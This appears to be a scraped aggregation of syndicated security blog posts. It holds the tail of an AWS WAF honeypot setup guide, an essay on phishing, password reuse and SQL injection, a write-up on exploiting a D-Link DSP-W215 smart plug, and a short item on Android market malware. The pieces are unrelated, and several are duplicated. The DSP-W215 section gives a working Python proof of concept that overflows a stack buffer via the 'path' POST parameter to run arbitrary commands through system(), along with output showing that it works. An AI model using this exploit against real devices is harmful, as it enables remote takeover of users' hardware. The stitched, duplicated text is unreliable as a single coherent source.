  1. Add a cache behavior that matches your base path (API Gateway stage) and honeypot URL segment. This will point traffic to the newly created custom origin. The following screenshot shows an example console screen that lists CloudFront distribution behaviors. Click Create Behavior.

  1. Use the value of your base path and honeypot URL to set the Path Pattern field. The honeypot URL must match the value in the robots.txt file you deploy and the API Gateway method specified. Select the Custom Origin you just created and configure additional settings, as illustrated in the following screenshot:
  • Though whitelist headers are not strictly required, creating them to match the following screenshot would provide additional identification for your blocked IP notifications.
  • I recommend that you customize the Object Caching policy to not cache responses from the honeypot. Set the values of Minimum TTL, Maximum TTL, and Default TTL to 0 (zero), as shown in the following screenshot.

  1. Register the AWS WAF web ACL with your CloudFront distribution. The General tab of your distribution (see the following screenshot) contains settings affecting the configuration of your content delivery network. Click Edit.


     

  2. Find the AWS WAF Web ACL drop-down list (see the following screenshot) and choose the correct web ACL from the list. The name of the web ACL will start with the name you assigned as the Base Resource Name when you launched the CloudFormation template earlier.

  1. To receive notifications when an IP address gets blocked, subscribe to the SNS topic created by CloudFormation. You can receive emails or even text messages, and you can use that opportunity to validate the blocking action and remove the IP address from the block list, if it was blocked in error. For more information about how to subscribe to SNS topics, see Subscribe to a Topic.

Summary

The solution explained in this blog post helps detect content scrapers and bad bots. In most production deployments, though, this is just a component of a more comprehensive web traffic filtering strategy. AWS WAF provides a highly customizable service that can be interacted with programmatically to react faster to changing threats.

If you have comments about this blog post, please submit them in the “Comments” section below. If you have questions about or issues deploying this solution, start a new thread on the AWS WAF forum.

– Vlad

Hackers aren’t smart — people are stupid

Post Syndicated from Robert Graham original http://blog.erratasec.com/2016/02/hackers-arent-smart-people-are-stupid.html

The cliche is that hackers are geniuses. That’s not true, hackers are generally stupid.The top three hacking problems for the last 10 years are “phishing”, “password reuse”, and “SQL injection”. These problems are extremely simple, as measured by the fact that teenagers are able to exploit them. Yet they persist because, unless someone is interested in hacking, they are unable to learn them. They ignore important details. They fail at grasping the core concept.PhishingPhishing happens because the hacker forges email from someone you know and trust, such as your bank. It appears nearly indistinguishable from real email that your bank might send. To be fair, good phishing attacks can fool even the experts.But when read advice from “experts”, it’s often phrased as “Don’t open emails from people you don’t know”. No, no, no. The problem is that emails appear to come from people you do trust. This advice demonstrates a lack of understanding of the core concept.What’s going on here is human instinct. We naturally distrust strangers, and we teach our children to distrust strangers.Therefore, this advice is wired into our brains. Whatever advice we hear from experts, we are likely to translate it into “don’t trust strangers” anyway.We have a second instinct of giving advice. We want to tell people “just do this one thing”, wrapping up the problem in one nice package.But these instincts war with the core concept, “phishing emails appear to come from those you trust”. Thus, average users continue to open emails with reckless abandon, because the core concept never gets through.Password reuseSimilarly there is today’s gem from the Sydney Morning Herald:When you create accounts on major websites, they frequently require you to “choose 8 letters with upper case, number, and symbol”. Therefore, you assume this is some sort of general security advice to protect your account. It’s not, not really. Instead, it’s a technical detail related to a second layer of defense. In the unlikely event that hackers break into the website, they’ll be able able to get the encrypted version of everyone’s password. They use password crackers to guess passwords at a rate of a billion-per-second. Easily guessed passwords will get cracked in a fraction of a second, but hard to guess passwords are essentially uncrackable. But it’s a detail that only matters once the website has already been hacked.The real problem with passwords is password reuse. People use the same password for unimportant websites, like http://flyfishing.com, as they use for important sites, like http://chase.com or their email. Simple hobbyist sites are easily hacked, allowing hackers to download all the email addresses and passwords. Hackers then run tools to automate trying out that combination on sites like Amazon, Gmail, and banks, hoping for a match.Therefore, the correct advice is “don’t reuse passwords on important accounts”, such as your business accounts and email account (remember: your email account can reset any other password). In other words, the correct advice is the very opposite what the Sydney Morning Herald suggested.The problem here is human nature. We see this requirement (“upper-case and number/symbol”) a lot, so we gravitate toward that. It also appeals to our sense of justice, as if people deserve to get hacked for the moral weakness of choosing simple passwords. Thus, we gravitate toward this issue. At the same time, we ignore password reuse, because it’s more subtle.Thus we get bad advice from “experts” like the Sydney Morning Herald, advising people to do the very opposite of what they should be doing. This article was passed around a lot today in the cybersec community. We all had a good laugh.SQL injectionSQL injection is not an issue for users, but for programmers. However, it shares the same problem that it’s extremely simple, yet human nature prevents it from being solved.Most websites are built the same way, with a web server front-end, and a database back-end. The web server takes user interactions with the site and converts them into a database query. What you do with a website is data, but the database query is code. Normally, data and code are unrelated and never get mixed up. However, since the website generates code based on data, it’s easy to confuse the two.What SQL injection is that the user (the hacker) sends data to a website frontend that actually contains code that causes the backend to do something. That something can be to dump all the credit card numbers, or create an account that allows the hacker to break in.In other words, SQL injection is when websites fail to understand the differences between these two sentences:Susie said “you owe me $10”.Susie said you owe me $10.It’s best illustrated in the following comic:The core concept is rather easy: don’t mix code with data, or as the comic phrases it “sanitize your database inputs”. Yet the problem persists because programmers fail to grasp the core concept.The reason is largely that professors fail to understand the core concept. SQL injection has been the most popular hacker attack for more than a decade, but most professors are even older than that. Thus, they continue to teach website design ignoring this problem. The textbooks they use don’t eve mention it.ConclusionThese are the three most common hacker exploits on the Internet. Teenagers interested in hack learn how to exploit them within a few hours. Yet, the continue to be unsolved because if you aren’t interested in the issues, you fail to grasp the core concept. The concept “phishing comes from people you know” to “don’t trust emails from strangers”. The core concept of hackers exploiting password reuse becomes “choose strong passwords”. The core concept of mixing code with data simply gets ignored by programmers.And the problem here isn’t just the average person unwilling or unable to grasp the core concept. Instead, confusion is aided by people who are supposed to be trustworthy, like the Sydney Morning Herald, or your college professor.I know it’s condescending and rude to point out that “hacking happens because people are stupid”, but that’s really the problem. I don’t know how to point this out in a less rude manner. That’s why most hacking persists.

Hackers aren’t smart — people are stupid

Post Syndicated from Robert Graham original http://blog.erratasec.com/2016/02/hackers-arent-smart-people-are-stupid.html

The cliche is that hackers are geniuses. That’s not true, hackers are generally stupid.The top three hacking problems for the last 10 years are “phishing”, “password reuse”, and “SQL injection”. These problems are extremely simple, as measured by the fact that teenagers are able to exploit them. Yet they persist because, unless someone is interested in hacking, they are unable to learn them. They ignore important details. They fail at grasping the core concept.PhishingPhishing happens because the hacker forges email from someone you know and trust, such as your bank. It appears nearly indistinguishable from real email that your bank might send. To be fair, good phishing attacks can fool even the experts.But when read advice from “experts”, it’s often phrased as “Don’t open emails from people you don’t know”. No, no, no. The problem is that emails appear to come from people you do trust. This advice demonstrates a lack of understanding of the core concept.What’s going on here is human instinct. We naturally distrust strangers, and we teach our children to distrust strangers.Therefore, this advice is wired into our brains. Whatever advice we hear from experts, we are likely to translate it into “don’t trust strangers” anyway.We have a second instinct of giving advice. We want to tell people “just do this one thing”, wrapping up the problem in one nice package.But these instincts war with the core concept, “phishing emails appear to come from those you trust”. Thus, average users continue to open emails with reckless abandon, because the core concept never gets through.Password reuseSimilarly there is today’s gem from the Sydney Morning Herald:When you create accounts on major websites, they frequently require you to “choose 8 letters with upper case, number, and symbol”. Therefore, you assume this is some sort of general security advice to protect your account. It’s not, not really. Instead, it’s a technical detail related to a second layer of defense. In the unlikely event that hackers break into the website, they’ll be able able to get the encrypted version of everyone’s password. They use password crackers to guess passwords at a rate of a billion-per-second. Easily guessed passwords will get cracked in a fraction of a second, but hard to guess passwords are essentially uncrackable. But it’s a detail that only matters once the website has already been hacked.The real problem with passwords is password reuse. People use the same password for unimportant websites, like http://flyfishing.com, as they use for important sites, like http://chase.com or their email. Simple hobbyist sites are easily hacked, allowing hackers to download all the email addresses and passwords. Hackers then run tools to automate trying out that combination on sites like Amazon, Gmail, and banks, hoping for a match.Therefore, the correct advice is “don’t reuse passwords on important accounts”, such as your business accounts and email account (remember: your email account can reset any other password). In other words, the correct advice is the very opposite what the Sydney Morning Herald suggested.The problem here is human nature. We see this requirement (“upper-case and number/symbol”) a lot, so we gravitate toward that. It also appeals to our sense of justice, as if people deserve to get hacked for the moral weakness of choosing simple passwords. Thus, we gravitate toward this issue. At the same time, we ignore password reuse, because it’s more subtle.Thus we get bad advice from “experts” like the Sydney Morning Herald, advising people to do the very opposite of what they should be doing. This article was passed around a lot today in the cybersec community. We all had a good laugh.SQL injectionSQL injection is not an issue for users, but for programmers. However, it shares the same problem that it’s extremely simple, yet human nature prevents it from being solved.Most websites are built the same way, with a web server front-end, and a database back-end. The web server takes user interactions with the site and converts them into a database query. What you do with a website is data, but the database query is code. Normally, data and code are unrelated and never get mixed up. However, since the website generates code based on data, it’s easy to confuse the two.What SQL injection is that the user (the hacker) sends data to a website frontend that actually contains code that causes the backend to do something. That something can be to dump all the credit card numbers, or create an account that allows the hacker to break in.In other words, SQL injection is when websites fail to understand the differences between these two sentences:Susie said “you owe me $10”.Susie said you owe me $10.It’s best illustrated in the following comic:The core concept is rather easy: don’t mix code with data, or as the comic phrases it “sanitize your database inputs”. Yet the problem persists because programmers fail to grasp the core concept.The reason is largely that professors fail to understand the core concept. SQL injection has been the most popular hacker attack for more than a decade, but most professors are even older than that. Thus, they continue to teach website design ignoring this problem. The textbooks they use don’t eve mention it.ConclusionThese are the three most common hacker exploits on the Internet. Teenagers interested in hack learn how to exploit them within a few hours. Yet, the continue to be unsolved because if you aren’t interested in the issues, you fail to grasp the core concept. The concept “phishing comes from people you know” to “don’t trust emails from strangers”. The core concept of hackers exploiting password reuse becomes “choose strong passwords”. The core concept of mixing code with data simply gets ignored by programmers.And the problem here isn’t just the average person unwilling or unable to grasp the core concept. Instead, confusion is aided by people who are supposed to be trustworthy, like the Sydney Morning Herald, or your college professor.I know it’s condescending and rude to point out that “hacking happens because people are stupid”, but that’s really the problem. I don’t know how to point this out in a less rude manner. That’s why most hacking persists.

Hacking the DSP-W215, Again, Again, Again

Post Syndicated from Craig original http://www.devttys0.com/2014/05/hacking-the-dsp-w215-again-again-again/

So far, the vulnerabilities found in the DSP-W215 have only been practically exploitable from the LAN, unless someone was foolish enough to make their smart plug remotely accessible on the Internet.
The typical way for external attackers to target internal web servers, such as the one running on the DSP-W215, is through CSRF. The problem is that any web browser used for a CSRF attack will URL encode binary values, such as our return addresses, but thus far the vulnerabilities we’ve exploited don’t URL decode our data (note that the replace_special_char function exploited in the last vulnerability only URL decodes a small range of ASCII values).
The my_cgi.cgi binary, which has been our primary target for exploitation, contains a decode function which is responsible for URL decoding POST data. This function accepts only two arguments, which are a pointer to the encoded data and a pointer to a destination buffer to store the decoded data:

void decode(char *encode_buf, char *decode_buf);

The decode function simply loops through all of the bytes in encode_buf, decoding/copying them blindly into decode_buf:
The decode while loopThe decode while loop

Roughly translated, the decode function reads:

void decode(char *encode_buf, char *decode_buf)
{
int encoded_byte_len;
char *encode_buf_end_ptr = encode_buf + strlen(encode_buf);

// Loop through all bytes in encode_buf, without knowing how big decode_buf is
while(encoded_data < encode_buf_end_ptr)
{
/*
* …
* Do Decoding of the next byte in encoded_data.
* encoded_byte_len = number of bytes processed in this loop iteration (1 or 3).
* …
*/

decode_buf[0] = decoded_byte;
decode_buf++;
encoded_data += encoded_byte_len;
}
}

If a calling function is not careful to allocate a large enough buffer to store all the decoded data, the decode_buf could be overflowed by a large POST parameter.
There is only one place in my_cgi.cgi where the decode function is called, which is from the get_input_entries function:
Only the "path" POST parameter is decodedOnly the “path” POST parameter is decoded
We can see that the decode function is only called if the POST parameter name is “path”, and from the memset we can infer that the decode_buf passed to the decode function is only a 0x400 byte stack buffer:

char decode_buf[0x400];

if(strcmp(entries[i]->name, "path") == 0)
{
// Decode path POST value into the fixed-size decode_buf
decode(entries[i]->value, decode_buf);
strcpy(entries[i]->value, decode_buf);
}

replace_special_char(entries[i]->value);

This means that providing a POST “path” value greater than 0x400 bytes will overflow the decode_buf stack variable in the get_input_entries function. What’s more, we have no bad bytes, because the decode function will helpfully URL decode any offending bytes (NULL bytes become “%00” in our POST request, for example) before copying them to the stack.
However, we have to take care in crafting our exploit buffer such that we don’t trigger the previously described stack overflow in the replace_special_char function, which is called before get_input_entries returns.
Luckily, the data passed to replace_special_char is actually strcpy’d from decode_buf first. If we put a NULL byte near the beginning of our POST data, replace_special_char will only be passed a very small string (everything up to the first NULL byte) instead of the entire POST data that has been decoded onto the stack.
A “path” POST value greater than 1060 bytes will overflow everything in the get_input_entries stack frame up to the saved return address:
The get_input_entries stack layoutThe get_input_entries stack layout
And, since we have no bad bytes, we can use the return address of 0x00405CEC that was used in previous exploits in order to call system() with a pointer to the stack ($sp+0x28):
system() call at 0x00405CECsystem() call at 0x00405CEC
Here’s some PoC code in Python that overflows the get_input_entries saved return address with the address of the call to system() at 0x00405CEC and puts a command to execute on the stack at $sp+0x28:

import sys
import urllib
import urllib2

try:
target = sys.argv[1]
command = sys.argv[2]
except:
print "Usage: %s <target> <command>" % sys.argv[0]
sys.exit(1)

url = "http://%s/common/info.cgi" % target

buf = "x00" # Start with a NULL byte to prevent crashing in replace_special_chars
buf += "D" * (1060-1) # Stack filler
buf += "x00x40x5CxEC" # $ra, address of call to system()
buf += "E" * 0x28 # Stack filler
buf += command # Command to execute
buf += "x00" # NULL terminate the command, for good measure

# URL encode the path POST value
post_data = "path=" + urllib.quote_plus(buf).replace(‘+’, ‘%20’)

# Set a referer to show that there are no CSRF protections
headers = {‘Referer’ : ‘http://www.attacker.com/exploit.html’}

req = urllib2.Request(url, post_data, headers)
print urllib2.urlopen(req).read()

And, of course, it works as expected:

$ ./exploit.py 192.168.0.60 ‘ls -l /’
drwxr-xr-x 2 1000 1000 4096 May 16 09:01 bin
drwxrwxr-x 3 1000 1000 4096 May 22 18:03 dev
drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc
drwxrwxr-x 3 1000 1000 4096 May 16 09:01 lib
drwxr-xr-x 3 1000 1000 4096 May 16 09:01 libexec
lrwxrwxrwx 1 1000 1000 11 May 17 15:20 linuxrc -> bin/busybox
drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found
drwxrwxr-x 6 1000 1000 4096 May 17 15:15 mnt
drwxr-xr-x 2 1000 1000 4096 May 16 09:01 mydlink
drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc
drwxrwxr-x 2 1000 1000 4096 May 17 17:23 root
drwxr-xr-x 2 1000 1000 4096 May 16 09:01 sbin
drwxrwxrwx 3 1000 1000 4096 May 24 23:26 tmp
drwxrwxr-x 7 1000 1000 4096 May 16 09:01 usr
drwxrwxr-x 3 1000 1000 4096 May 17 15:21 var
-rw-r–r– 1 1000 1000 17 May 16 09:01 version
drwxrwxr-x 6 1000 1000 4096 May 22 17:15 www

Android Malware in the Android Marketplace – the dangers of free

Post Syndicated from David original http://feedproxy.google.com/~r/DevilsAdvocateSecurity/~3/nzcRAysMqeE/android-malware-in-android-marketplace.html

Android Police today reports that 21 applications (which have since been pulled) in the Android market, with between 50,000 and 200,000 downloads included malware, with capabilities including the rageagainstthecage or exploid root exploits, and that they upload data including “product ID, model, partner (provider?), language, country, and userI”. Worse, their analysis shows the ability to self update.Most of these apps appear to have been copies of existing apps, made available for free. This points out both the danger of the relatively open Android Market, and of uncontrolled app downloads for your users.The original article is worth a read, and includes a list of the malware laden apps.

_uacct = “UA-1423386-1”;
urchinTracker();

Android Malware in the Android Marketplace – the dangers of free

Post Syndicated from David original http://feedproxy.google.com/~r/DevilsAdvocateSecurity/~3/nzcRAysMqeE/android-malware-in-android-marketplace.html

Android Police today reports that 21 applications (which have since been pulled) in the Android market, with between 50,000 and 200,000 downloads included malware, with capabilities including the rageagainstthecage or exploid root exploits, and that they upload data including “product ID, model, partner (provider?), language, country, and userI”. Worse, their analysis shows the ability to self update.Most of these apps appear to have been copies of existing apps, made available for free. This points out both the danger of the relatively open Android Market, and of uncontrolled app downloads for your users.The original article is worth a read, and includes a list of the malware laden apps.

_uacct = “UA-1423386-1”;
urchinTracker();